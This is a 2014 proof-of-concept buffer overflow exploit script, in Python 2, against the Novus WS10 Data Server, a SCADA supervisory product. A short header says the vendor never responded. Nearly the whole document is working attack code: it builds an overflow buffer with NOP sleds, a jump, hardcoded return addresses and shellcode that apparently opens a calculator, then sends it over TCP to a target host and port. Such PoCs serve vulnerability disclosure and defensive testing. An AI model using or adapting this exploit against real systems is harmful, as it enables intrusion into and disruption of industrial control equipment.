## Exploit Title: WS10 Data Server SCADA Exploit Overflow PoC
## Date: 09/23/2014
## Author: Pedro Sánchez
## Version: 1.83 (English)
## Tested on: Windows 7 embedded.
## Notified the vendor, vendor never responded.
## In the new version this PoC stops working
## Vendor: Novus
## http://www.novus.com.br
## NOVUS Electronics is a manufacturer of instruments for control, data acquisition and supervisory systems, mainly for factory automation
import os
import socket
import sys
## The process listens on TCP port 2001
host = sys.argv[1]
port = int(sys.argv[2])
print " PoC WS10 Data Server SCADA Exploit "
print " Pedro Sanchez "
shellcode = ("\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9\x44\x80\xc2\x77\xFF\xD1\x90\x90")
## Exploit contructor
ws10 = ("\x90" * 1024 + "\x44" * 31788)
ws10 += ("\xeb\x14")
ws10 += ("\x44" * 6)
ws10 += ("\xad\xbb\xc3\x77")
ws10 += ("\xb4\x73\xed\x77")
ws10 += ("\x90" * 21)
ws10 += shellcode
print " [+] Sending payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(ws10)
data = s.recv(1024)
print " [+] Closing..."
s.close()
print " [+] Done!"